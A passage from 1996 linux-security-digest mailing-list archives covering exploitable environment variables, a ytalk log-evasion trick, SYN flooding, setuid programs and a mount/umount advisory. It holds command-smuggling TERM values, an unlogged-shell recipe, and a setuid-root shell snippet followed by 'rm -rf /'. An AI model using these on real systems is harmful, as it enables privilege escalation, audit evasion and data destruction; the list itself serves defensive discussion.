crash system by reading /dev/kmem, or to spoof name lookups. ENV - Well known exploits USERNAME - Any setuid program that needs this info had better get it from someplace trustworthy HISTSIZE - Don't know. Really large values or negative or zero values might conceivably do domething strange to child processes invoked by a setuid program HOSTNAME - Any setuid program that needs this info had better get it from someplace trustworthy LOGNAME - see username HISTFILESIZE - Don't know. Really large values or negative or zero values might conceivably do domething strange to child processes invoked by a setuid program MAIL=/var/spool/mail/whitis TERM - Very Dangerous. In addition to the TERMCAP problem, csh is vulnerable to TERM - it EVALUATES it just like bash evaluates ENV. Other shells may also. If TERM is allowed, it must be used in conjuction with a list of acceptable values. Exploits: - telnet/telnetd environment variable 'feature' - older telnetd's still passed a terminal type even if they dont let you set other environment variables. So even telnetd's which have fixed the telnet environ bug may still be vulnerable to attacks on csh based captive accounts. - setuid programs which use shell scripts, call system, etc. - On system Vish systems: login: script-user TERM='`/bin/sh&/dev/tty`' password: ... $ - login -p based exploits: export TERM='evil' login -p login: blah Password: .... ... echo $TERM blah blah TERMCAP - Very Dangerous (termcap entries can specify the execution of arbitrary programs). HOSTTYPE=i386 - Sometimes used in generating PATH PATH - Very Dangerous HOME - Any setuid program that needs this info had better get it from someplace trustworthy and be very careful what it uses it for in the first place. HOME points to files created by an untrusted user. SHELL - No setuid programs or captive login scripts should need this should they? Obviously dangerous if used. PS1 - Some buffer overrun attacks possible. In general, setuid programs and captive login programs should not be starting interactive shells but this could have unexpected consequences internally to the shell as well as to .profile files. USER - See USERNAME DISPLAY - Allows you to connect to any TCP port over 6000 (and sometimes under 6000 using negative numbers) although you may not have a lot of control over the data stream. A possible way to attack things inside a firewall when combined with things like the telnetd bug. OSTYPE=Linux - See HOSTTYPE SHLVL=1 - Unknown. TZ - Affects time formatting functions. Potential for several types of attacks: - Forging time (i.e. you can cause a transaction to appear to have occurred at a different time) - Buffer overrun attacks in any programs which print time. - punctuation based attacks LANG, LC_ALL, LC_COLLATE, LC_CTYPE, LC_MONETARY, LC_MESSAGES, LC_NUMERIC, LC_TIME - These can cause standard library functions, such as printf(), to do unexpected things, particularly with regard to punctuation which can cause data field misallignment based attacks in some situations. IFS - Known exploits LD_LIBRARY_PATH* - Known exploits (replacing shared libraries with trojan versions, often via Anonymous FTP or similar means), usually fixed for setuid programs in ld.so. LOCALDOMAIN, HOSTALIASES* - Anything which can be used to spoof DNS is potentially exploitable. critical programs should use RED_NOALIASES on systems like linux where this variable is implemented, although that may not protect against LOCALDOMAIN. Many of the above variables can be made more dangerous through their explicit use in captive login programs, .profile, .login, .bashrc,.cshrc, etc. I have not even touched on some others: PRINTER LPDEST EXINIT WINDOWID LESSCHARSET EDITOR VISUAL NLSPATH MSGVERB NETPATH SEV_LEVEL any environment variables listed in man pages relating to - any shell - environ(5) - ld.so - libc - any specific setuid program should be added to the list bash$ TERM='`/bin/ls >/dev/tty`' csh [REW: In short, LOTS of environment variables are potentially expoloitable. Only known "safe" variables should be passed (by e.g. telnetd, or a setuid-wrapper). (I never knew about RESOLV_HOST_CONF before it came up here.) And even "safe" variables should be paranoidly checked against odd characters etc.] - --------------------------------------------------------------------------- - --- Mark Whitis WWW: http://www.dbd.com/~whitis/ --- - --- 428-B Moseley Drive; Charlottesville, VA 22903 804-962-4268 --- - --------------------------------------------------------------------------- ------------------------------ End of linux-security-digest V2 #56 *********************************** linux-security-digest/v02.n057100664 1767 1767 60641 6211674234 15460 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #57 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Friday, 30 August 1996 Volume 02 : Number 057 Re: [linux-security] inetd and denial-of-service [linux-security] ytalk [linux-security] possible security bug if uid of nobody is 65535 or -1 Re: [linux-security] Suid Programs / Help Wanted Re: [linux-security] Re: LYNX-DEV security problem with environment for lynx Re: [linux-security] SYN flooding (was inetd and denial-of-service) Re: [linux-security] Suid Programs / Help Wanted [linux-security] LSF Update#13: Vulnerability of mount/umount utilities from util-linux 2.5 ---------------------------------------------------------------------- From: Richard Bullington Date: Thu, 29 Aug 1996 03:25:51 -0400 (EDT) Subject: Re: [linux-security] inetd and denial-of-service On Sun, 25 Aug 1996, Paul D. Robertson wrote: > On Thu, 22 Aug 1996, infinity wrote: > > > By very defintion of a SYN flood, the source address has to be > > forged. > > This is simply not true. There is a particular combination of > the SuperTCP PC stack and Netscape browser, for instance, that will, > given the correct versions, SYN flood the hell out of your web server. > > In a malicious attack it would be stupid to SYN flood from your correct IP > address, but it is certainly possible. I have an interesting tcpdump trace of a network session gone very badly that turned into an ACK flood on the telnet port. This session shows a flood coming from someone's 'correct' IP address. This flood effectively stopped all network communications on my system until I had the system administrator of the remote ISP manually shut off the connection. It appeared not to be an attack, but a bug in either Mac System 7.5.3 or NCSA telnet: [excerpt from mail diagnosing the problem] >> When this happens, please reset the computer... it stayed connected for 5 >> hours flooding the 'net with bad packets. What kind of computer was it? >> Running what operating system? What telnet program? > > we did restart the computer. It's a Power Mac. and the telnet program > is NSCA telnet. with a slip PPP connection. running system 7.53 I have posted my tcpdump trace (167K) at: http://www.obscure.org/~rbulling/tcpdumptrace.txt [REW: Lets stop this discussion OK? There are differences in opinion about what IS a "SYN flood". There are differences in opinion about what would cause the most harm if you want to do a "malicious SYN flood". There is evidence that bugs in TCP stacks can cause a SYN flood.] - -Richard Bullington http://www.obscure.org ------------------------------ From: "Brian L. Naylor" Date: Thu, 29 Aug 1996 23:24:18 -0400 Subject: [linux-security] ytalk Hi. I've run across a small 'feature' in ytalk 3.0 p2 that allows a local user to get an unlogged shell. (i.e., a full login that doesn't make it into the system logs.) Also, the shell he's running is apparently unable to get full info either- `whoami` and `id` show reasonable values but `who am i` doesn't. I've never heard of this and I haven't seen it in any of the archives, but it certainly seems like a problem to me. (He can, for example, try to su all day without his name appearing in the logs.) Forgive me if this is a known behavior. This is ytalk version 3.0 p2 on Redhat Linux 3.0.3 (kernel 2.0.10), bash. Do `ytalk -x user#ttypx` where user is your own login id and ttypx is the tty you're currently logged into. Ignore the subsequent talk request and hit -s to bring up a new shell. ... [user@host user]$ who user ttyp1 Aug 29 22:53 (dialup1) [user@host user]$ tty /dev/ttyp2 [user@host user]$ who am i [user@host user]$ ... Try an su: [user@host user]$ su - Password: su: incorrect password woops, well, that's ok, this is what's in the log: Aug 29 21:27:43 host su: FAILED SU on /dev/ttyp4 ^^^^ username should be here Now, the first part of that- the user not appearing twice with `who` seems to occur with other secondary shells as well. (From vi, etc.) The second bit, however, with the null username, doesn't. In any case, it makes it easy for a user to go about questionable activities unobserved, and with little record. Is it a bug? I dunno- I just work here. - -- Brian L. Naylor [email protected] http://www.transy.edu/~jones [REW: The root of the problem is that unprivilidged programs like ytalk cannot write to utmp to set the info in there. What Brian calls "other secondary shells" are programs that use the current pty to do their stuff. Ytalk creates a new pty. This pty then doesn't have its info in utmp, so that who, w and su cannot find valid info there. The weirdest thing is that su seems to trust "getlogin". I created a patch (for sh-utils-1.12): - ------------------------------------------------------------------- - --- su.c.orig Fri Aug 30 09:32:27 1996 +++ su.c Fri Aug 30 09:44:20 1996 @@ -466,6 +466,8 @@ int successful; { const char *new_user, *old_user, *tty; + struct passwd *old_pw; + char as_str[101]; #ifndef SYSLOG_NON_ROOT if (pw->pw_uid) @@ -475,8 +477,15 @@ /* The utmp entry (via getlogin) is probably the best way to identify the user, especially if someone su's from a su-shell. */ old_user = getlogin (); + old_pw = getpwuid (getuid()); if (old_user == NULL) old_user = ""; + + if ((strcmp (old_pw->pw_name, old_user) != 0)) + snprintf (as_str,100,"(as %s)",old_pw->pw_name); + else + sprintf (as_str,""); + tty = ttyname (2); if (tty == NULL) tty = ""; @@ -488,15 +497,15 @@ ); syslog (LOG_NOTICE, #ifdef SYSLOG_NON_ROOT - - "%s(to %s) %s on %s", + "%s%s(to %s) %s on %s", #else - - "%s%s on %s", + "%s%s%s on %s", #endif successful ? "" : "FAILED SU ", #ifdef SYSLOG_NON_ROOT new_user, #endif - - old_user, tty); + old_user, as_str, tty); closelog (); } #endif - ------------------------------------------------------------------- This adds an "(as username)" to the log whenever it differs from the info from getlogin. This is now a log entry from an unpriviliged pty: Aug 30 09:45:00 cave su: FAILED SU (as wolff) on /dev/ttyp9 And this is when I first su to root and then type "su" again. Aug 30 09:50:21 cave su: wolff(as root) on /dev/ttypa If you have SYSLOG_NON_ROOT defined I guess you would also get things like Aug 30 09:50:21 cave su: wolff(as root)(to menno) on /dev/ttypa First I su-ed to root and then to "menno": I don't know menno's password, but he wanted me to send mail "in his name". - -- Roger.] ------------------------------ From: Ian Goldberg Date: Tue, 27 Aug 1996 21:11:33 -0700 Subject: [linux-security] possible security bug if uid of nobody is 65535 or -1 - -----BEGIN PGP SIGNED MESSAGE----- I've seen the user "nobody" on some systems have a uid of -1 or 65535. (Slackware Linux is such an example.) On most such systems, this will have interesting interactions with syscalls like setreuid() and chown(), for which an argument of -1 means "no change". A program that is setuid root, but uses setreuid() to swap its real and effective uids will thus remain root if run by the "nobody" user. Also note that it is easy to run programs as nobody on systems on which CGI scripts are available (the default is to run them as nobody). - Ian - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMiPGz0ZRiTErSPb1AQHB4gP/bZQ9rDz4E+eaCzzFenDHf7Mwb/+F7nUH JFtZqG43ohONgDmNMl2hHA925sJTsCJ/53e43Bnbn6rtUoEmdkkuMLbJ4XrMPOf3 UQSaAeJw0Datlyb/NM4+ka/23GzPc6TH2OAyAv3Hz+vOOVdtzsrPctW8/pMGT2HQ ZD4YQUsCMBA= =h2Hb - -----END PGP SIGNATURE----- ------------------------------ From: "Alexander O. Yuriev" Date: Tue, 27 Aug 1996 15:17:10 -0400 Subject: Re: [linux-security] Suid Programs / Help Wanted > With all the problems about Suid programs, I just -s all but 3 of > them like sendmail none of my 300 users even noticed. So why does everyone > else seem to need them Suid? Just because none of your users noticed does not mean that all the programs work fine. Lets see. sendmail - should be setuid to root if used as MTA su - better be setuid-to-root :) passwd - setuid to owner of a password file chfn - setuid to owner of a password file chsh - setuid to owner of a password file rlogin - setuid to root rsh - setuid to root ping - setuid to root and a lot more others > If someone needs Suid programs how about some home made wrapper > program or script that runs them in a secure manner? would that work? yes, if you know how to write such wrapper in a secure manner. > I have a question unrelated: > > Is there anyway to tell if a logged in user has a Euid=0 shell but > everything else is the same as his normal login. yes, it is possible if you hack the source of a shell. > If there is how about a > daemon that checks users and freezes the login of any euiders=0 or ones > that get to uid=0 shell and add their ip to hosts.deny. >From the top of my head that creates race conditions. > How about a automatic expert security program that keeps a watch > over all logins. And what are the conditions of "abuse" that this program should detect? > Another Question: > > Is there a bug in the slackware 1.2.13 There is no Slackware 1.2.13 > login that can let an intruder > get a root shell even with no valid login account? No, this bug was in early SYSV login and it required knowledge of account name. > Wanted security consultant anyone reading this that knows all > past and present Slackware bugs/holes and possibly Irix 5.3 exploits reply > with hourly rate and experience. This is a joke, right? Best wishes, Alex ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA .... Go WAR! The Network Security Wargames are coming KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= ------------------------------ From: Christopher Blizzard Date: Fri, 30 Aug 1996 10:17:31 -0400 Subject: Re: [linux-security] Re: LYNX-DEV security problem with environment for lynx In message , Robert Hanson writes: :i dont get the lynx thing... what do we do to fix it? : You can write a small wrapper in front of it. As the userid "lynx"'s shell you run a program that resets all of the environmental variables that would normally be passed by the telnet daemon. Here is some source as an example. #include int main() { char * args[] = {"lynx", "-anonymous", NULL}; char * environargs[] = {"TERM=vt100"}; execve ("/usr/bin/lynx", (void *)args, (void *)environargs); return(0); } That's it. (This is for an old version of lynx, btw. I think that the newer versions use a different argument.) - --Chris [REW: Quoting trimmed.] - ------------------------------------------------------------------- Christopher Blizzard | "The truth knocks on the door and you say [email protected] | 'Go away. I'm looking for the truth,' and NYSERNet, Inc. | so it goes away." --Robert Pirsig - ------------------------------------------------------------------- ------------------------------ From: Rob Hagopian Date: Fri, 30 Aug 1996 07:52:32 -0400 Subject: Re: [linux-security] SYN flooding (was inetd and denial-of-service) > Remember that the inetd (and TCPd) filters work after the completion > of the 3-way handshake. SYN flooding only satisfies the first part > of the 3-way handshake. I can deny TCP/23 with TCPd from all but > trusted IP addresses. It can still be SYN flooded however. What about simply dropping the oldest SYN connections after the port(s) have been flooded, always leaving a connection available? This won't help too much in a continuous flood mode as any legit connections might be wiped out along with the dummy SYN packets, but this could be aleivated somewhat with larger buffers... Also, when this threshold is reached, it would be a good time to start alerting the sysadmin. Thus, a proactive solution is acheived, while a permenant solution can be investigated. Also, I don't believe that this would require too much effort on the part of the kernel to track (as opposed to tracking the IP addr of SYN packets, which would fail anyways under a random SYN flood attack). Of course, I'm not too well versed in this area, so this could be completely hairbrained... :-) -Rob Hagopian ------------------------------ From: Zoltan Hidvegi Date: Fri, 30 Aug 1996 20:37:22 +0200 (MET DST) Subject: Re: [linux-security] Suid Programs / Help Wanted > [REW: Fun features. So you would put something like (consider this > pseudocode: I never can remember shell syntax.... :-) > > if ((EUID != UID) || (EGID != GID)) > log messag saying attempt to use setuid shell > exit > endif A more portable test which works with most modern shells is case $- in *p*) log something; exit;; esac or instead of exiting it may use set +p to drop privileges. But it may not prevent all attacks because when an interactive shell is interrupted while it is processing its startup files it will give you a prompt so a quick INT signal can give you a root prompt. Not all shells does this. AT&T ksh '93 exits when it receives an interrups while processing init scripts and I'll modify zsh to exit when it is in privileged interactive mode and an untrapped INT signal arrives while it is processing a startup script. > However setuid shell scripts are disabled anyway. And if you can put > suid bits on system shells you can also put them on your own version > of xyz-sh. Suid scripts are disabled but someone may call system() or popen() from a suid program (which is certainly a BAD thing but it sometimes happens). > Many people commented on the ability to run just about any shell as > /bin/sh. Note that you should keep a boot- and root-disk handy and > attempt a reboot before trusting it. Some bootscripts have interesting > ways of breaking on a different shell.] I use zsh as /bin/sh on Slackware-3.0. As I know slackware boot scripts are designed for ash so it is not very surprising that it works. I would really like to hear about other people's experiences with zsh installed in /bin/sh especially on RedHat and Debian systems. If you try that, make sure you have zsh-3.0.0 (use echo $ZSH_VERSION). Report any problems related to that to me. If it is a real problem and not just a bash specific feature used in init scripts I'll be glad to fix it. Zoltan ------------------------------ From: "Alexander O. Yuriev" Date: Tue, 27 Aug 1996 17:57:21 -0400 Subject: [linux-security] LSF Update#13: Vulnerability of mount/umount utilities from util-linux 2.5 - -----BEGIN PGP SIGNED MESSAGE----- Linux Security FAQ Update mount/umount Vulnerability Mon Aug 26 21:46:49 EDT 1996 Copyright (C) 1995,1996 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official Update of the Linux Security FAQ, and it is supposed to be signed by one of the following PGP keys: pub 1024/9ED505C5 1995/12/06 Jeffrey A. Uphoff Jeffrey A. Uphoff 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/linux/linux-security linux-security & linux-alert mailing list archives: ftp://linux.nrao.edu/pub/linux/security/list-archive ============================================================================= ABSTRACT A vulnerability exists in the mount/umount programs of the util-linux 2.5 package. If installed suid-to-root, these programs allow local users to gain super-user privileges. RISK ASSESSMENT Local users can gain root privileges. The exploits that exercise this vulnerability were made available. VULNERABILITY ANALYSIS mount/umount utilities from the util-linux 2.5 suffer from the buffer overrun problem. Installing mount/umount as suid-to-root programs is necessary to allow local users to mount and unmount removable media without having super-user privileges. If this feature is not required, it is recommended that suid bit is removed from both mount and umount programs. If this feature is required, one might want to consider the other ways of implementing it. Such approaches include but are not limited to using auto-mounter or sudo mechanism. DISTRIBUTION FIXES Red Hat Commercial Linux RedHat 2.1, RedHat 3.0.3 (Picasso) and RedHat 3.0.4 (Rembrandt) contain vulnerable umount utilities. Red Hat Software advises users of Red Hat 2.1 to upgrade to Red Hat 3.0.3 (Picasso) The replacement RPMs are available from the following URLs: Red Hat Linux 3.0.3 (Picasso) i386 architecture ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/i386/updates/RPMS/util-linux-2.5-11fix.i386.rpm ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/i386/updates/RPMS/mount-2.5k-1.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/util-linux-2.5-11fix.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-1.i386.rpm ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/util-linux-2.5-11fix.i386.rpm ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-1.i386.rpm RedHat Linux 3.0.3 (Picasso) Alpha architecture ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/axp/updates/RPMS/util-linux-2.5-11fix.axp.rpm ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/axp/updates/RPMS/mount-2.5k-1.axp.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/util-linux-2.5-11fix.axp.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-1.axp.rpm ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/util-linux-2.5-11fix.axp.rpm ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-1.axp.rpm RedHat Linux 3.0.4 Beta (Rembrandt) i386 architecture ftp://ftp.redhat.com/pub/redhat/rembrandt/i386/updates/RPMS/mount-2.5k-2.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-2.i386.rpm ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-2.i386.rpm RedHat Linux 3.0.4 Beta (Rembrandt) SPARC architecture ftp://ftp.redhat.com/pub/redhat/rembrandt/sparc/updates/RPMS/mount-2.5k-2.sparc.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-2.sparc.rpm ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat/mount-2.5k-2.sparc.rpm Please verify the MD5 fingerprint of the RPMs prior to installing them. ad9b0628b6af9957d7b5eb720bbe632b mount-2.5k-1.axp.rpm 12cb19ec4b3060f8d1cedff77bda7c05 util-linux-2.5-11fix.axp.rpm 26506a3c0066b8954d80deff152e0229 mount-2.5k-1.i386.rpm f48c6bf901dd5d2c476657d6b75b12a5 util-linux-2.5-11fix.i386.rpm 7337f8796318f3b13f2dccb4a8f10b1a mount-2.5k-2.i386.rpm e68ff642a7536f3be4da83eedc14dd76 mount-2.5k-2.sparc.rpm The Red Hat Software Inc notes that the only difference between mount-2.5k-1 and mount-2.5k-2 is in the packaging format. Caldera Network Desktop Caldera Network Desktop version 1.0 contains vulnerable mount and umount programs. Caldera Inc issued Caldera Security Advisory 96.04 where it recommends removing setuid bit from mount and umount commands using command chmod 755 /bin/mount /bin/umount. Users of Caldera Network Desktop 1.0 upgraded to RedHat 3.0.3 (Picasso) are advised to follow the instructions in the Red Hat Commercial Linux section of this LSF Update. Debian Debian/GNU Linux 1.1 contains the vulnerable mount/umount programs. The Debian Project provided the information that an updated package fixes this problem. The fix-kit can be obtained from the following URLs: ftp://ftp.debian.org/debian/stable/binary-i386/base/mount_2.5l-1.deb ftp://bach.cis.temple.edu/Linux/Security/DISTRIBUTION-FIXES/Debian/mount_2.5l-1.deb ftp://tarsier.cv.nrao.edu/linux/Security/DISTRIBUTION-FIXES/Debian/mount_2.5l-1.deb Please verify the MD5 signature of the RPM prior to installing the fix-kit 6672530030f9a6c42451ace74c7510ca mount_2.5l-1.deb WARNING: The message that contained information about MD5 hash of the mount_2.5l-1.deb package was not signed. We were unable to verify the integrity of the message. Slackware There is no official information available about vulnerability of Slackware 3.0 or Slackware 3.1 distributions from distribution maintainer. The testing indicates that both Slackware 3.0 and Slackware 3.1 distributions contains the vulnerable mount and umount programs. Until the official fix-kit for Slackware 3.0 and 3.1 becomes available system administrators are advised to follow the instructions in the Other Linux Distributions section of this LSF Update Yggdrasil Yggdrasil Computing Inc neither confirmed not denied vulnerability of Plug and Play Fall'95 Linux. The testing indicates that Plug and Play Fall'95 Linux distribution contains the vulnerable mount and umount program. Until the official fix-kit for Yggdrasil Plug and Play Linux becomes available system administrators are advised to follow the instructions in the Other Linux Distributions section of this LSF Update Other Linux Distributions It is believed at this moment that all Linux distributions using util-linux version 2.5 or prior to that contain the vulnerable mount and umount programs. Administrators of systems based on distributions not listed in this LSF Update or distributions that do not have fix-kits available at the moment are urged to contact their support centers requesting the fix-kits to be made available to them. In order to prevent the vulnerability from being exploited in the mean time, it is recommended that the suid bit is removed from mount and umount programs using command chmod u-s /bin/mount /bin/umount Until the official fix-kits are available for those systems, it is advised that system administrators obtain the source code of fixed mount program used in Debian/GNU Linux 1.1, compile it and replace the vulnerable binaries. The URLs for the source code of the Debian/GNU Linux 1.1 package which fixes the security problem of mount utility can be obtained from the following URLs: ftp://ftp.debian.org/debian/stable/source/base/mount_2.5l-1.tar.gz ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/OTHER/mount_2.5l-1.tar.gz ftp://tarsier.cv.nrao.edu/pub/Linux/Security/DISTRIBUTION-FIXES/OTHER/mount_2.5l-1.tar.gz Warning: We did not receive MD5 hash of the mount_2.5l-1.tar.gz file. CREDITS This LSF Update is based on the information originally posted to linux-alert. The information on the fix-kit for Red Hat commercial Linux was provided by Elliot Lee ([email protected]) or Red Hat Software Inc,; for the Caldera Network Desktop by Ron Holt of Caldera Inc.; for Debian/GNU Linux 1.1 by Guy Maor ([email protected]) - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMiNugoxFUz2t8+6VAQFyMgP+O6rJMZ8FHM2dyS+SY5D92837zjAwgMDk lNRaxrntFx/sZmyTpejERB1pu/uTRR+O2TJrB5s7mteLbB7wuuJNa38R4GuEBAOy 8dQ/pl+2vNQmqK7iwtMDGBNRda027tvBWO9vjxzqCKwHEiDSFQJ4hkM03oAwhmYi z1pegn80gsE= =zMIM - -----END PGP SIGNATURE----- ------------------------------ End of linux-security-digest V2 #57 *********************************** linux-security-digest/v02.n058100664 1767 1767 44731 6213215107 15453 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #58 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Wednesday, 4 September 1996 Volume 02 : Number 058 Re: [linux-security] SYN flooding (was inetd and Re: [linux-security] Suid Programs / Help Wanted Re: [linux-security] SYN flooding (was inetd and Re: Environment Variables (Was Re: [linux-security] Re: RESOLV_HOST_CONF ) Re: [linux-security] chroot (1) security hole Re: [linux-security] Re: LYNX-DEV security problem with environment for lynx [linux-security] pty's and utmp - a disaster perpetrated long ago Re: [linux-security] pty's and utmp - a disaster perpetrated long ago Re: [linux-security] inetd and denial-of-service Re: [linux-security] bash security hole [linux-security] Is there a final word on the current RESOLV_HOST_CONF hole? ---------------------------------------------------------------------- From: [email protected] (Alan Cox) Date: Sat, 31 Aug 1996 17:33:09 +0100 (BST) Subject: Re: [linux-security] SYN flooding (was inetd and > What about simply dropping the oldest SYN connections after the port(s) > have been flooded, always leaving a connection available? A connection that we have seen a SYN and replied SYN|ACK takes 2 minutes to kill otherwise we could be tricked into starting a tcp foodfight with a random victim.. Alan ------------------------------ From: Arik Baratz Date: Sun, 1 Sep 1996 01:47:21 +0300 (GMT+0300) Subject: Re: [linux-security] Suid Programs / Help Wanted I think the discussion is rather invalid, because instead of SUIDing a shell, the hacker can, after examining your scripts, do something like: cat > hmm.c main() { setuid(0); setgid(0); system("/bin/sh"); } [he presses ctrl-d now] cc -o hmm hmm.c [now he runs the exploit script on hmm instead of a copy of /bin/sh] ./hmm rm -rf / This can bypass any checking you might put in your startup scripts. My point is this: SUID shells are _NOT_ the problem. an SUID file manager will cause as much problems. Cure the problem, not the symptoms. - --------------------------------------------- ....- --.. ----. -.. --. . Arik Baratz, Regularus Studentus, iNTP, 4Z9DGE - --------------------------------------------------------------------------- http://ccarik.technion.ac.il/~arikb finger [email protected] for PGP key. ------------------------------ From: [email protected] Date: Fri, 30 Aug 1996 17:48:23 -0700 (PDT) Subject: Re: [linux-security] SYN flooding (was inetd and Rob Hagopian's thoughts were: | What about simply dropping the oldest SYN connections after the port(s) | have been flooded, always leaving a connection available? The oldest SYN connection request may in fact be legitmate. | This won't help too much in a continuous flood mode as any legit | connections might be wiped out along with the dummy SYN packets, but this | could be aleivated somewhat with larger buffers... A larger backlog queue is not the answer. The amount of memory each pending connection request requires is much greater when compared to the complexity of simply sending 10,20 or 50 more spoofed SYNs to flood the port. | Also, when this threshold is reached, it would be a good time to | start alerting the sysadmin. Of course. | Thus, a proactive solution is acheived, while a permenant solution | can be investigated. Also, I don't believe that this would require too much | effort on the part of the kernel to track (as opposed to tracking the IP Simple mods. | addr of SYN packets, which would fail anyways under a random SYN flood | attack). Any SYN flood *attack* will have the source IP address spoofed. - -- [ [email protected] ] Editor, Phrack Magazine / Guild Corporation Chair the greatest trick the devil ever pulled was convincing the world he didn't exist ------------------------------ From: [email protected] (Zygo Blaxell) Date: 31 Aug 1996 15:18:14 -0400 Subject: Re: Environment Variables (Was Re: [linux-security] Re: RESOLV_HOST_CONF ) In article , Mark Whitis wrote: >Here is the beginings of a catalog of common environment variables >and a little about their potential exploitability. I started >with a printenv on an almost strait out of the box RedHat 3.0.3 >system and added a few from memory. >HISTSIZE - Don't know. Really large values or negative or zero > values might conceivably do domething strange to child > processes invoked by a setuid program If the user is given a privileged interactive shell by the setuid program, you don't need to worry about someone exploiting this environment variable. Hmmm...maybe non-interactive shells might examine this variable, though, if only to convert it to a numeric value. >HISTFILESIZE - Don't know. Really large values or negative or zero > values might conceivably do domething strange to child > processes invoked by a setuid program Ditto. >MAIL=/var/spool/mail/whitis There was no description in your list, but it falls into the same category as HOME, USER, LOGNAME, HOSTNAME, etc. >HOME - Any setuid program that needs this info had better > get it from someplace trustworthy and be very careful > what it uses it for in the first place. HOME points > to files created by an untrusted user. And directories controlled by an untrusted user. All the usual /tmp vulnerabilities apply. Indeed, the same vulnerabilities apply for *any* filename supplied by the user. >SHLVL=1 - Unknown. It's used for subshells to identify that they're subshells. Some shells let you put this into the prompt string, e.g.: bash$ bash bash[1]$ bash bash[2]$ exit bash[1]$ kill -9 $$ Killed bash$ It's probably the same category as HISTSIZE. >TZ - Affects time formatting functions. Potential for > several types of attacks: > - Forging time (i.e. you can cause a transaction > to appear to have occurred at a different time) > - Buffer overrun attacks in any programs which > print time. > - punctuation based attacks It's also used as the name of a time zone description file under /usr/lib/zoneinfo: $ cp /usr/lib/zoneinfo/Europe/London . $ set -x; date; TZ=GMT date; TZ=US/Central date; TZ=`pwd`/London date + date Sat Aug 31 15:00:01 EDT 1996 # Current time zone + TZ=GMT + date Sat Aug 31 19:00:01 GMT 1996 # GMT + TZ=US/Central + date Sat Aug 31 14:00:01 CDT 1996 # Some other time zone ++ pwd + TZ=/md0/tmp/mail-960831/London + date Sat Aug 31 20:00:01 BST 1996 # Time zone described in my file >I have not even touched on some others: [ zb: I have rearranged the list ] >PRINTER >LPDEST >EDITOR >VISUAL >EXINIT >LESSCHARSET All very useful user-level environment variables for configuring unprivileged programs or privileged programs that have documented uses for the variables (e.g. lpr and 'PRINTER'). >WINDOWID The ID of the current Xterm window. >NLSPATH Part of the same libraries that handle LC_*, isn't it? >[REW: In short, LOTS of environment variables are potentially >expoloitable. Only known "safe" variables should be passed (by >e.g. telnetd, or a setuid-wrapper). (I never knew about >RESOLV_HOST_CONF before it came up here.) And even "safe" variables >should be paranoidly checked against odd characters etc.] I think that's worth repeating. Someone needs to tell it to people who *don't* read lists like this one. - -- Zygo Blaxell. Unix/soft/hardware guru, was for U of Waterloo CS Club, now for (name withheld by request). 10th place, ACM Intl Collegiate Programming Contest Finals, 1994. Admin Linux/TCP/IP for food, clothing, anime. Pager: 1 (613) 760 8572. "I gave up $1000 to avoid working on windoze... *sigh*" - Amy Fong ------------------------------ From: Ian Jackson Date: Sun, 1 Sep 96 16:55 BST Subject: Re: [linux-security] chroot (1) security hole ... > [REW: Yes. The problem lies in the fact that the current working > directory isn't changed by the chroot system call. Could someone > check the chroot program's sources and report wether it does a > chdir ("/"); after the chroot system call. It doesn't (on my system, anyway). I think this is a good thing. It means I can test a chroot environment and still have access (via my current directory) to the full system. Ian. ------------------------------ From: [email protected] (Richard Huveneers) Date: 1 Sep 1996 14:27:34 GMT Subject: Re: [linux-security] Re: LYNX-DEV security problem with environment for lynx In article <[email protected]>, [email protected] (Christopher Blizzard) writes: >You can write a small wrapper in front of it. As the userid "lynx"'s >shell you run a program that resets all of the environmental variables >that would normally be passed by the telnet daemon. Here is some source >as an example. > >#include > >int main() { > > char * args[] = {"lynx", "-anonymous", NULL}; > char * environargs[] = {"TERM=vt100"}; You'd better add a NULL pointer in this array too... > execve ("/usr/bin/lynx", (void *)args, (void *)environargs); > return(0); >} Regards, Richard. ------------------------------ From: Ian Jackson Date: Sun, 1 Sep 96 16:54 BST Subject: 